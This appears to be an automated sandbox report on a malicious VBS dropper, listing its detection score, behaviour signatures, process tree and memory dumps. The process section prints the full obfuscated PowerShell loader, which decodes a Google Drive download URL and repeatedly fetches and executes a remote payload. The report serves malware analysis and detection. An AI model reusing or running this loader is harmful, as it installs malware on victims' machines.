Analysis
- max time kernel
149s - max time network
153s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
21/05/2026, 14:47
General
- Target att1-2406261629573.vbs
- Size 22KB
- Sample260521-r58vrsav4z
- SHA256 d2c6cbde8e53d5ff001da2f40dfa7e86278abbc6dcd1636d3a5d4276eeb6d36b
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 6 IoCs
Network request originating from process or tool commonly abused by malware.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Network Service Discovery 1 TTPs 1 IoCs
Attempt to gather information on host's network.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\att1-2406261629573.vbs"1⤵
- Badlisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Sulphopupuric Counterclaimed Manchet Maturation Underkoppers Skolemodenhedsprvens Bemyndigelseslovs Idelse Effluency Perinephric Tastaturteksterne polarogramme Serbokroatiske Metatoluic Uproblematisk efterladenskabet Herbicide122 Razzle Gardeners Rumbustical bennas Kbestrke pyogenous Tryllelamper Sulphopupuric Counterclaimed Manchet Maturation Underkoppers Skolemodenhedsprvens Bemyndigelseslovs Idelse Effluency Perinephric Tastaturteksterne polarogramme Serbokroatiske Metatoluic Uproblematisk efterladenskabet Herbicide122 Razzle Gardeners Rumbustical bennas Kbestrke pyogenous Tryllelamper';If (${host}.CurrentCulture) {$Contakion++;}Function Brushes($Avancementsstillingers){$Formants=$Avancementsstillingers.Length-$Contakion;$Elguitarers='SUBsTR';$Elguitarers+='ing';For( $Bureaukratiforstyrrende=2;$Bureaukratiforstyrrende -lt $Formants;$Bureaukratiforstyrrende+=3){$Sulphopupuric+=$Avancementsstillingers.$Elguitarers.Invoke( $Bureaukratiforstyrrende, $Contakion);}$Sulphopupuric;}function Setulous($Desperately){ . ($Climactically) ($Desperately);}$Preoperative=Brushes 'E MPeo tz iInl GlFraSt/Ca5B . ,0,u (S WP i ,nKod eo,iw sne ,fNFiTJu Ch1,a0 ,.,o0Ou;,e LaWSuifrn C6Ge4Co;Re CixCh6Po4 t;Sy RurDavGe:Sm1.r2Mi1P..B.0B )Bi .GR,eKac okSkoSk/Bo2 0.a1Oe0S 0St1 U0 J1St FaFAci urHjeAffTtoStxsu/Fo1Di2 1g,. 0 e ';$Parodoi=Brushes ' U FsUdeD,rD - CA BgCoeLan,atD. ';$Underkoppers=Brushes 'Clh GtRetsypSlsBu:Le/Mi/ .dSer.aiVev SeB,.BjgUno To dg tll.eta. .cceoSnmPe/FjuSvcRu?gaeHix .p.loL rSktSh=E.d Uoovw AnTwl LoHoaAsd &Sai,dd M=Lf1InFR.m.iAA,X aDNiJAcQAfgArpRaCVaGS.o.a- ia.alStFI rAcV .PBiGToRPhzPr3InRSaGda_ouQ,jI eLK.oDijDeaPr ';$Unanimated=Brushes '.u>Vi ';$Climactically=Brushes 'h,iBre IxFi ';$Besgstidernes247='Idelse';$Raadvild = Brushes ',yeThc uh lo . N%,aa upS,pKaddiaAltF.a.e%L.\ ,CE.u ClDut,ruVdr mi RsIleSvsS .M,OAnmC sMy .&He& v SueVacNohMiopa GetA. ';Setulous (Brushes 'S.$BagIml o .b,ea ,l .:.nS ,pSpaA.gd.h ,eGntAnt.ri.usSttG,rLooUdpnipBaeTrr ,=Ab( scMimIdd S p/Sac Ur$ SRFaa.oaAmdO.v,uiColPrdPa)Fr ');Setulous (Brushes ' B$ingUnl toAfbSta ,le : AMCha.ltnsuNorC,atetsuiS.o,nnMi= M$S.URinA,dVie,er .k ,o opB pOpe .r sD,.BrsEnpHal,aiFrt M(Fi$YaUCynIda ,nFoiDim.natutSye .dOc)De ');Setulous (Brushes 'In[ NMeeHgt.v.MiSspe.erStv,rir.c BeBoPC o SiPrn t.aMAna ,nm a .gdoe Rrc.]Ge: :PeS eF.cSjuP r ,iDdtutyCoPderBuoKitBeoDecCoo ulIf R.=Pr ,o[PeN,te St N. KS MeLicUtuovrmaiI tA,yM,P .rdroE.tTao RcH oUnlP T ay .p UeA ] H:M :RaTTrlD sE.1 2P. ');$Underkoppers=$Maturation[0];$Sgeresultatets= (Brushes ' M$ gExlProinbV,aSulTr: cUshmae.eaDopSknF.e Hs ls,eeEnsS.= eNAreUnwGr-DrO SbDoj eWhc tSo SaSThyK sent ue ,mU..FoN FeCotOp.K.W peFob C,nl,riFoe.onR t');$Sgeresultatets+=$Spaghettistropper[1];Setulous ($Sgeresultatets);Setulous (Brushes 'U $F cF.hreeReaInpUnnUneOksDesWheSgsTu.AnHIneU.a .dTreNer ss,[G $ EP.ea rSlo d eo Ai D].a=Pe$.aP.ar neCro KpBie .rDraStt ,iRavTeeSn ');$Pyrrhichius=Brushes ' .$S cAxhAleTaa,kpInnHyeFasKasC,ePrs o.,aD,hoRewPenSulO.o oa,fdDrFMuiFjlFaeWi(Bi$S.UDon dEpenir HkTioS p ,p Betsrp,s r,al$ SK HbG.enesSetFlrBlkDkeN ),s ';$Kbestrke=$Spaghettistropper[0];Setulous (Brushes 'S.$PrgSylOpoCob oamelNe: .UunnCodU eSkr,rvEliE,sSpnUmi AnVeg .sI.mPei ,nStiNisErtSke drSpeOunSe=Ou(AgTFoe,rs,otAf-SpPRuaUpt.ehFo Da$udKMab XeAlsSkt ,r IkBoe L) . ');while (!$Undervisningsministeren) {Setulous (Brushes ' o$abg,nldoolsbD aomlFa: kFKoa Al .sDee onPadBae.e= p$Dut crSauToe . ') ;Setulous $Pyrrhichius;Setulous (Brushes ' SS.t.eaVer,dtDy-ChS ,lF.eFie lpG Pu4Be ');Setulous (Brushes 'Ju$ HgTrlVioO,bB.aBul.e:MiUGenprd CeFar BvCoi RsCon oiPrn CgFlsScmStiLynSli,osUptFeeafr Ce ,nAd= R(UnTSkeP.sPetTe-FyP Ia ItHuhMi .$FdKGibUde Bs,ptInrAfkB eAt)he ') ;Setulous (Brushes ' P$ ogLalSvoD b DaUnlE :,uMmuaQunHicBah leNyt = b$ gIsl .ovobAlaSkl r:PeCRaoOvu nn .t FeCar scEnl aa CiAqmL,e OdGa+Ek+ T%A,$PrMOpaTytSruchr ha ftPoi aoChnCh.Hec ,o.auMonPatKn ') ;$Underkoppers=$Maturation[$Manchet];}$Microtitration=283827;$Wordness=27393;Setulous (Brushes 'De$TegMil,roPrbRea,ulTr:TeE FfRafFol u .e SnLycFly Ba=pr vGBaeC t u-AsCs oStnCotLaeS,n ytOv Ti$PlKC bReeB sDrtEnr .kSoeL. ');Setulous (Brushes 'Co$NegPelReoRebClaRalAf:InCHeo GmDep Seven NdHeiHaaHi Fo= f [GoS.gyabs St Oe,imun. CMaotrn,gvHueTrr.vtDu],l:.e: ,FBrrReoPumFlBReaTes e i6 F4EcS FtPbrSkiE.n Bg p(Ph$ .EP,fFaf.alF,uUnet,nAscveyB.) V ');Setulous (Brushes 'R.$U.gColkuo.eb IaA.lFo:EnpE.o ClboaK,rSkoR,gCtrCya,em.rmTreMn ,w=,r ,u[ rS,ey .s CtF eAbmes.ReTM,eErx St ,. OEFon ,cSooDud ,i .nA g.s]In: S:ClA PS aC.kIDeI C.SqG ee.ytudSSltj r MiSknBlg,r(R $R.CSyoRem ,p MeFinDadgeiTva ,) n ');Setulous (Brushes 'In$ Mg,plheo CbTeaNulFo:EpiSan BkZol ,uV s aiDev .eRe= ,$DypBaoBalO a rrBooGrg .rexa.rmDymKseZe.BesInuNobPosN t,urViiSknStg e( K$S.M,piGucPrrD,oT.t.ai GtAwr ra PtH,iH.o tnAf,ca$FrW voPurMod MnF,eBesEksLo)Bi ');Setulous $inklusive;"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Network Service Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Culturises.Oms && echo t"3⤵
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_sish1yiy.j4r.ps1
memory/2372-4-0x00000284ED550000-0x00000284ED560000-memory.dmp
memory/2372-5-0x00000284EB8F0000-0x00000284EB912000-memory.dmp
memory/2372-13-0x00000284ED550000-0x00000284ED560000-memory.dmp
memory/2372-14-0x00000284ED550000-0x00000284ED560000-memory.dmp
memory/2372-15-0x00000284ED550000-0x00000284ED560000-memory.dmp